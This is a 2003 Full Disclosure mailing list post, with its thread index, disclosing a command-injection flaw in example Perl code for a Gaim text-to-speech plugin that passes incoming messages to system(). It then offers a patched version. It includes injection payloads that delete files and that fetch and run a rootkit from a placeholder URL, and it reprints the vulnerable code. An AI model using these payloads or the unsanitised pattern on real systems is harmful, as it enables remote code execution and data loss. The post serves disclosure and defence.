Full Disclosure mailing list archives
Gaim festival plugin exploit
From: error <error () lostinthenoise net>
Date: 15 Oct 2003 17:29:55 +0200
It has come to my attention that people have actually used this example code for a gaim plugin: AIM::register("Festival TTS", "0.0.1", "goodbye", ""); AIM::print("Perl Says", "Loaded Festival TTS"); AIM::command("idle", "60000") if ($pro ne "Offline"); AIM::add_event_handler("event_im_recv", "synthesize"); sub goodbye { AIM::print("Module Unloaded", "Unloaded Festival TTS"); } sub synthesize { my $string = $_[0]; $string =~ s/\<.*?\>//g; $string =~ s/\".*\"//; system("echo \"$string\" | /usr/bin/festival --tts"); } As taken from: http://www.webreference.com/perl/tutorial/13/aim_fest_plugin.pl This has to be one of the most amusing ways to gain a local users privileges I have ever seen by an "Expert (TM)" Exploit code? You have a shell through gaim with that. Just pass it this message (or really any message for that matter): Hey, I just wanted to exploit your box, do you mind?"; rm -rf; Or perhaps: Hey, grab this root kit for me?";wget http://url/to/rootkit;chmod +x rootkit;./rootkit Perhaps someone should ask: "(Is s/[^\w]//g really that hard to do?!)" So a fixed version would look like this: AIM::register("Festival TTS", "0.0.1", "goodbye", ""); AIM::print("Perl Says", "Loaded Festival TTS"); AIM::command("idle", "60000") if ($pro ne "Offline"); AIM::add_event_handler("event_im_recv", "synthesize"); sub goodbye { AIM::print("Module Unloaded", "Unloaded Festival TTS"); } sub synthesize { my $string = $_[0]; $string =~ s/\<.*?\>//g; $string =~ s/\".*\"//; $string =~ s/[^\w]//g; system("echo \"$string\" | /usr/bin/festival --tts"); } Just a minor comment, nothing special. -- error <error () lostinthenoise net>
Attachment:
signature.asc
Description: This is a digitally signed message part
Current thread:
- Gaim festival plugin exploit error (Oct 15)
- Re: Gaim festival plugin exploit Randal L. Schwartz (Oct 15)
- Re: Gaim festival plugin exploit Jérôme Augé (Oct 16)
- Re: Gaim festival plugin exploit HCTITS Security Division (Oct 17)
- Re: Re: Gaim festival plugin exploit Randal L. Schwartz (Oct 17)
- Re: Re: Gaim festival plugin exploit Valdis . Kletnieks (Oct 18)
- Re: Re: Gaim festival plugin exploit Randal L. Schwartz (Oct 17)
- Re: Gaim festival plugin exploit HCTITS Security Division (Oct 17)
- Re: Re: Gaim festival plugin exploit Cael Abal (Oct 17)
- Re: [Cert-lists] Re: Re: Gaim festival plugin exploit Georg Moritz (Oct 20)
- Re: Gaim festival plugin exploit Randal L. Schwartz (Oct 20)
- Re: Re: Gaim festival plugin exploit Brian Hatch (Oct 23)
- Re: Re: Gaim festival plugin exploit Cael Abal (Oct 17)
(Thread continues...)